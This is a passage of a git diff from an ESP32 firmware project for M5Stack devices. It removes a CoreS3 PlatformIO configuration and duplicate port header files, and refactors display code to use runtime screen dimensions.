-#endif diff --git a/ports/m5stack-cores3/platformio.ini b/ports/m5stack-cores3/platformio.ini deleted file mode 100644 index 444ea0a0..00000000 --- a/ports/m5stack-cores3/platformio.ini +++ /dev/null @@ -1,136 +0,0 @@ -; PlatformIO Project Configuration File -; -; Build options: build flags, source filter -; Upload options: custom upload port, speed and extra flags -; Library options: dependencies, extra library storages -; Advanced options: extra scripting -; -; Please visit documentation for the other options and examples -; https://docs.platformio.org/page/projectconf.html - -[env:m5stack-cores3] -platform = https://github.com/bmorcelli/platform-espressif32/releases/download/0.0.4/platform-espressif32.zip -board = m5stack-cores3 -framework = arduino -monitor_speed = 115200 -board_build.partitions = custom_16Mb.csv -board_upload.flash_size = 16MB -board_upload.maximum_size = 16777216 -build_src_filter =${env.build_src_filter} +<../ports/m5stack-cores3> -build_flags = - ${env.build_flags} - -Iports/m5stack-cores3 - -DCORE_DEBUG_LEVEL=5 - -DARDUINO_USB_CDC_ON_BOOT=1 - - -DM5STACK=1 ;key for new device, - -DCORES3=1 ;mykeyboard.cpp: need map buttons an/or touchscreen, - ;display.cpp: need map battery status value, - ;settings.cpp: need map brighness control - ;main.cpp: need set startup - ;serialcmds.cpp: need set power off command - - ;Features Enabled - ;FM Radio - ;-DFM_SI4713=1 ;Uncomment to activate FM Radio using Adafruit Si4713 - -DFM_RSTPIN=18 - ;-DLITE_VERSION=1 ;limits some features to save space for M5Launcher Compatibility - - ;Microphone - ;-DMIC_SPM1423=1 ;uncomment to enable Applicable for SPM1423 device - -DPIN_CLK=-1 - -DI2S_SCLK_PIN=-1 - -DI2S_DATA_PIN=-1 - -DPIN_DATA=-1 - - ;RGB LED runned by xylopyrographer/LiteLED@^1.2.0 library - ;-DHAS_RGB_LED=1 ;uncomment to enable - -DRGB_LED=-1 - - ;Have RTC Chip - -DHAS_RTC=1 - - ;Speaker to run music, compatible with NS4168 - ;-DHAS_NS4168_SPKR=1 ;uncomment to enable - -DBCLK=-1 - -DWCLK=-1 - -DDOUT=-1 - - ;Can run USB as HID - -DUSB_as_HID=1 ;uncomment to enable - - ;Battery ADC read pin - ;-DBAT_PIN=10 - - ;Buttons configuration - ;-DHAS_BTN=1 - -DBTN_ALIAS='"Ok"' - -DBTN_PIN=-1 - -DBTN_ACT=LOw - - ;Touchscreen Config - -DHAS_TOUCH=1 - - -DALLOW_ALL_GPIO_FOR_IR_RF=1 ; Set this option to make use of all GPIOs, from 1 to 44 to be chosen, except TFT and SD pins - - ;Infrared Led default pin and state - -DIR_TX_PINS='{{"M5 IR Mod", GROVE_SDA}, {"Groove W", GROVE_SCL}, {"GROVE Y", GROVE_SDA}}' - -DIR_RX_PINS='{{"M5 IR Mod", GROVE_SCL}, {"Groove W", GROVE_SCL}, {"GROVE Y", GROVE_SDA}}' - -DLED=GROVE_SDA - -DLED_ON=HIGH - -DLED_OFF=LOW - - ;Radio Frequency (one pin modules) pin setting - -DRF_TX_PINS='{{"M5 RF433T", GROVE_SDA}, {"Groove W", GROVE_SCL}, {"GROVE Y", GROVE_SDA}}' - -DRF_RX_PINS='{{"M5 RF433R", GROVE_SCL}, {"Groove W", GROVE_SCL}, {"GROVE Y", GROVE_SDA}}' - - ;Font sizes, depending on device - -DFP=1 - -DFM=2 - -DFG=3 - - ;Screen Setup - -DHAS_SCREEN=1 - -DROTATION=1 - -DWIDTH=320 - -DHEIGHT=220 ;240 - 50 for bottom margin - ;-DBACKLIGHT=38 - ;-DMINBRIGHT=160 - - ;TFT_eSPI Setup - -DUSER_SETUP_LOADED=1 - -DILI9341_DRIVER=1 - -DTFT_INVERSION_ON=1 - -DUSE_HSPI_PORT=1 - -DM5STACK=1 - -DTFT_MOSI=37 - -DTFT_MISO=35 - -DTFT_SCLK=36 - -DTFT_CS=3 - -DTFT_DC=35 - -DTFT_RST=-1 - -DTFT_BL=-1 - -DTOUCH_CS=-1 - -DSMOOTH_FONT=1 - -DSPI_FREQUENCY=20000000 - -DSPI_READ_FREQUENCY=20000000 - -DSPI_TOUCH_FREQUENCY=2500000 - - ;SD Card Setup pins - -DSDCARD_CS=4 - -DSDCARD_SCK=36 - -DSDCARD_MISO=35 - -DSDCARD_MOSI=37 - - ;Default I2C port - -DGROVE_SDA=32 - -DGROVE_SCL=33 - - -DSPI_SCK_PIN=0 - -DSPI_MOSI_PIN=GROVE_SDA - -DSPI_MISO_PIN=GROVE_SCL - -DSPI_SS_PIN=26 - -lib_deps = - ${env.lib_deps} - diff --git a/ports/m5stack-cplus1_1/interface.h b/ports/m5stack-cplus1_1/interface.h deleted file mode 100644 index 844098c6..00000000 --- a/ports/m5stack-cplus1_1/interface.h +++ /dev/null @@ -1,130 +0,0 @@ -#pragma once -#include -#include - -//#define HAS_KEYBOARD //has keyboard to use -//#define HAS_KEYBOARD_HID //has keyboard to use -//#define KB_HID_EXIT_MSG "Mid Btn + Space to exit" - -/*************************************************************************************** -** Function name: _setup_gpio() -** Location: main.cpp -** Description: initial setup for the device -***************************************************************************************/ -void _setup_gpio(); - - -/*************************************************************************************** -** Function name: getBattery() -** location: display.cpp -** Description: Delivers the battery value from 1-100 -***************************************************************************************/ -int getBattery(); - - -/********************************************************************* -** Function: setBrightness -** location: settings.cpp -** set brightness value -**********************************************************************/ -void _setBrightness(uint8_t brightval); - - -/********************************************************************* -** Function: checkNextPress -** location: mykeyboard.cpp -** Verifies Upper Btn to go to previous item -**********************************************************************/ -bool checkNextPress(); - - -/********************************************************************* -** Function: checkPrevPress -** location: mykeyboard.cpp -** Verifies Down Btn to go to next item -**********************************************************************/ -bool checkPrevPress(); - - -/********************************************************************* -** Function: checkSelPress -** location: mykeyboard.cpp -** Verifies if Select or OK was pressed -**********************************************************************/ -bool checkSelPress(); - - -/********************************************************************* -** Function: checkEscPress -** location: mykeyboard.cpp -** Verifies if Escape btn was pressed -**********************************************************************/ -bool checkEscPress(); - - -/********************************************************************* -** Function: checkAnyKeyPress -** location: mykeyboard.cpp -** Verifies id any of the keys was pressed -**********************************************************************/ -bool checkAnyKeyPress(); - - -/********************************************************************* -** Function: keyboard -** location: mykeyboard.cpp -** Starts keyboard to type data -**********************************************************************/ -String keyboard(String mytext, int maxSize, String msg); - - -/********************************************************************* -** Function: powerOff -** location: mykeyboard.cpp -** Turns off the device (or try to) -**********************************************************************/ -void powerOff(); - - -/********************************************************************* -** Function: checkReboot -** location: mykeyboard.cpp -** Btn logic to tornoff the device (name is odd btw) -**********************************************************************/ -void checkReboot(); - -struct keyStroke { // DO NOT CHANGE IT!!!!! - bool pressed=false; - bool exit_key=false; - bool fn = false; - bool del = false; - bool enter = false; - uint8_t modifiers = 0; - std::vector word; - std::vector hid_keys; - std::vector modifier_keys; -}; -#if defined(HAS_KEYBOARD) // related functions - -/********************************************************************* -** Function: _checkKeyPress -** location: mykeyboard.cpp -** returns the key from the keyboard -**********************************************************************/ -keyStroke _getKeyPress(); // must return something that the keyboards won´t recognize by default - -/********************************************************************* -** Function: _checkNextPagePress -** location: mykeyboard.cpp -** returns the key from the keyboard -**********************************************************************/ -bool _checkNextPagePress(); - -/********************************************************************* -** Function: _checkPrevPagePress -** location: mykeyboard.cpp -** returns the key from the keyboard -**********************************************************************/ -bool _checkPrevPagePress(); - -#endif diff --git a/ports/m5stack-cplus2/interface.h b/ports/m5stack-cplus2/interface.h deleted file mode 100644 index 844098c6..00000000 --- a/ports/m5stack-cplus2/interface.h +++ /dev/null @@ -1,130 +0,0 @@ -#pragma once -#include -#include - -//#define HAS_KEYBOARD //has keyboard to use -//#define HAS_KEYBOARD_HID //has keyboard to use -//#define KB_HID_EXIT_MSG "Mid Btn + Space to exit" - -/*************************************************************************************** -** Function name: _setup_gpio() -** Location: main.cpp -** Description: initial setup for the device -***************************************************************************************/ -void _setup_gpio(); - - -/*************************************************************************************** -** Function name: getBattery() -** location: display.cpp -** Description: Delivers the battery value from 1-100 -***************************************************************************************/ -int getBattery(); - - -/********************************************************************* -** Function: setBrightness -** location: settings.cpp -** set brightness value -**********************************************************************/ -void _setBrightness(uint8_t brightval); - - -/********************************************************************* -** Function: checkNextPress -** location: mykeyboard.cpp -** Verifies Upper Btn to go to previous item -**********************************************************************/ -bool checkNextPress(); - - -/********************************************************************* -** Function: checkPrevPress -** location: mykeyboard.cpp -** Verifies Down Btn to go to next item -**********************************************************************/ -bool checkPrevPress(); - - -/********************************************************************* -** Function: checkSelPress -** location: mykeyboard.cpp -** Verifies if Select or OK was pressed -**********************************************************************/ -bool checkSelPress(); - - -/********************************************************************* -** Function: checkEscPress -** location: mykeyboard.cpp -** Verifies if Escape btn was pressed -**********************************************************************/ -bool checkEscPress(); - - -/********************************************************************* -** Function: checkAnyKeyPress -** location: mykeyboard.cpp -** Verifies id any of the keys was pressed -**********************************************************************/ -bool checkAnyKeyPress(); - - -/********************************************************************* -** Function: keyboard -** location: mykeyboard.cpp -** Starts keyboard to type data -**********************************************************************/ -String keyboard(String mytext, int maxSize, String msg); - - -/********************************************************************* -** Function: powerOff -** location: mykeyboard.cpp -** Turns off the device (or try to) -**********************************************************************/ -void powerOff(); - - -/********************************************************************* -** Function: checkReboot -** location: mykeyboard.cpp -** Btn logic to tornoff the device (name is odd btw) -**********************************************************************/ -void checkReboot(); - -struct keyStroke { // DO NOT CHANGE IT!!!!! - bool pressed=false; - bool exit_key=false; - bool fn = false; - bool del = false; - bool enter = false; - uint8_t modifiers = 0; - std::vector word; - std::vector hid_keys; - std::vector modifier_keys; -}; -#if defined(HAS_KEYBOARD) // related functions - -/********************************************************************* -** Function: _checkKeyPress -** location: mykeyboard.cpp -** returns the key from the keyboard -**********************************************************************/ -keyStroke _getKeyPress(); // must return something that the keyboards won´t recognize by default - -/********************************************************************* -** Function: _checkNextPagePress -** location: mykeyboard.cpp -** returns the key from the keyboard -**********************************************************************/ -bool _checkNextPagePress(); - -/********************************************************************* -** Function: _checkPrevPagePress -** location: mykeyboard.cpp -** returns the key from the keyboard -**********************************************************************/ -bool _checkPrevPagePress(); - -#endif diff --git a/src/core/config.cpp b/src/core/config.cpp index b02ce6eb..44821f86 100644 --- a/src/core/config.cpp +++ b/src/core/config.cpp @@ -243,7 +243,7 @@ void BruceConfig::validateDimmerValue() { } -void BruceConfig::setBright(int value) { +void BruceConfig::setBright(uint8_t value) { bright = value; validateBrightValue(); saveFile(); diff --git a/src/core/config.h b/src/core/config.h index 97eb4abd..203a38fa 100644 --- a/src/core/config.h +++ b/src/core/config.h @@ -1,7 +1,7 @@ #ifndef __BRUCE_CONFIG_H__ #define __BRUCE_CONFIG_H__ -// #include "globals.h" +// #include #include #include #include @@ -102,7 +102,7 @@ class BruceConfig { void validateRotationValue(); void setDimmer(int value); void validateDimmerValue(); - void setBright(int value); + void setBright(uint8_t value); void validateBrightValue(); void setTmz(int value); void validateTmzValue(); diff --git a/src/core/connect.h b/src/core/connect.h index e396e05a..ec0553ad 100644 --- a/src/core/connect.h +++ b/src/core/connect.h @@ -11,7 +11,7 @@ #define __DEVICE_CONNECTION_H__ #include -#include "core/globals.h" +#include #define PAGE_BYTES 150 diff --git a/src/core/display.cpp b/src/core/display.cpp index c795512b..a67ca984 100644 --- a/src/core/display.cpp +++ b/src/core/display.cpp @@ -1,11 +1,12 @@ #include "display.h" -#include "mykeyboard.h" +#include "utils.h" +#include "mykeyboard.h" #include "wg.h" //for isConnectedWireguard to print wireguard lock #include "settings.h" //for timeStr #include "modules/others/webInterface.h" // for server #include -#define MAX_MENU_SIZE (int)(HEIGHT/25) +#define MAX_MENU_SIZE (int)(tftHeight/25) /*************************************************************************************** ** Function name: displayScrollingText @@ -39,24 +40,24 @@ void displayScrollingText(const String& text, Opt_Coord& coord) { ** Description: Draw touch screen footer ***************************************************************************************/ void TouchFooter(uint16_t color) { - tft.drawRoundRect(5,HEIGHT+2,WIDTH-10,43,5,color); + tft.drawRoundRect(5,tftHeight+2,tftWidth-10,43,5,color); tft.setTextColor(color); tft.setTextSize(FM); - tft.drawCentreString("PREV",WIDTH/6,HEIGHT+4,1); - tft.drawCentreString("SEL",WIDTH/2,HEIGHT+4,1); - tft.drawCentreString("NEXT",5*WIDTH/6,HEIGHT+4,1); + tft.drawCentreString("PREV",tftWidth/6,tftHeight+4,1); + tft.drawCentreString("SEL",tftWidth/2,tftHeight+4,1); + tft.drawCentreString("NEXT",5*tftWidth/6,tftHeight+4,1); } /*************************************************************************************** ** Function name: TouchFooter ** Description: Draw touch screen footer ***************************************************************************************/ void MegaFooter(uint16_t color) { - tft.drawRoundRect(5,HEIGHT+2,WIDTH-10,43,5,color); + tft.drawRoundRect(5,tftHeight+2,tftWidth-10,43,5,color); tft.setTextColor(color); tft.setTextSize(FM); - tft.drawCentreString("Exit",WIDTH/6,HEIGHT+4,1); - tft.drawCentreString("UP",WIDTH/2,HEIGHT+4,1); - tft.drawCentreString("DOWN",5*WIDTH/6,HEIGHT+4,1); + tft.drawCentreString("Exit",tftWidth/6,tftHeight+4,1); + tft.drawCentreString("UP",tftWidth/2,tftHeight+4,1); + tft.drawCentreString("DOWN",5*tftWidth/6,tftHeight+4,1); } /*************************************************************************************** @@ -82,6 +83,27 @@ void setTftDisplay(int x, int y, uint16_t fc, int size, uint16_t bg) { tft.setTextColor(fc,bg); } +void turnOffDisplay() { + setBrightness(0,false); +} + +bool wakeUpScreen(){ + previousMillis = millis(); + if(isScreenOff){ + isScreenOff = false; + dimmer = false; + getBrightness(); + delay(200); + return true; + }else if(dimmer){ + dimmer = false; + getBrightness(); + delay(200); + return true; + } + return false; +} + /*************************************************************************************** ** Function name: displayRedStripe ** Description: Display Red Stripe with information @@ -92,18 +114,18 @@ void displayRedStripe(String text, uint16_t fgcolor, uint16_t bgcolor) { int size; if(fgcolor==bgcolor && fgcolor==TFT_WHITE) fgcolor=TFT_BLACK; - if(text.length()*LW*FM<(WIDTH-2*FM*LW)) size = FM; + if(text.length()*LW*FM<(tftWidth-2*FM*LW)) size = FM; else size = FP; - tft.fillSmoothRoundRect(10,HEIGHT/2-13,WIDTH-20,26,7,bgcolor); - tft.fillSmoothRoundRect(10,HEIGHT/2-13,WIDTH-20,26,7,bgcolor); + tft.fillSmoothRoundRect(10,tftHeight/2-13,tftWidth-20,26,7,bgcolor); + tft.fillSmoothRoundRect(10,tftHeight/2-13,tftWidth-20,26,7,bgcolor); tft.setTextColor(fgcolor,bgcolor); if(size==FM) { tft.setTextSize(FM); - tft.setCursor(WIDTH/2 - FM*3*text.length(), HEIGHT/2-8); + tft.setCursor(tftWidth/2 - FM*3*text.length(), tftHeight/2-8); } else { tft.setTextSize(FP); - tft.setCursor(WIDTH/2 - FP*3*text.length(), HEIGHT/2-8); + tft.setCursor(tftWidth/2 - FP*3*text.length(), tftHeight/2-8); } tft.println(text); } @@ -235,14 +257,14 @@ void padprint(double n, int digits, int16_t padx) { void padprintln(const String &s, int16_t padx) { if (s.isEmpty()) { - tft.setCursor(padx * BORDER_PAD_X, tft.getCursorY()); - tft.println(s); + tft.setCursor(padx * BORDER_PAD_X, tft.getCursorY()); + tft.println(s); return; } String buff; size_t start = 0; - int _maxCharsInLine = (WIDTH - (padx+1) * BORDER_PAD_X) / (FP*LW); + int _maxCharsInLine = (tftWidth - (padx+1) * BORDER_PAD_X) / (FP*LW); // automatically split into multiple lines while( !(buff = s.substring(start, start + _maxCharsInLine)).isEmpty() ){ @@ -253,14 +275,14 @@ void padprintln(const String &s, int16_t padx) { } void padprintln(const char str[], int16_t padx) { if (str == "") { - tft.setCursor(padx * BORDER_PAD_X, tft.getCursorY()); - tft.println(str); + tft.setCursor(padx * BORDER_PAD_X, tft.getCursorY()); + tft.println(str); return; } String buff; size_t start = 0; - int _maxCharsInLine = (WIDTH - (padx+1) * BORDER_PAD_X) / (FP*LW); + int _maxCharsInLine = (tftWidth - (padx+1) * BORDER_PAD_X) / (FP*LW); // automatically split into multiple lines while( !(buff = String(str).substring(start, start + _maxCharsInLine)).isEmpty() ){ @@ -318,7 +340,7 @@ int loopOptions(std::vector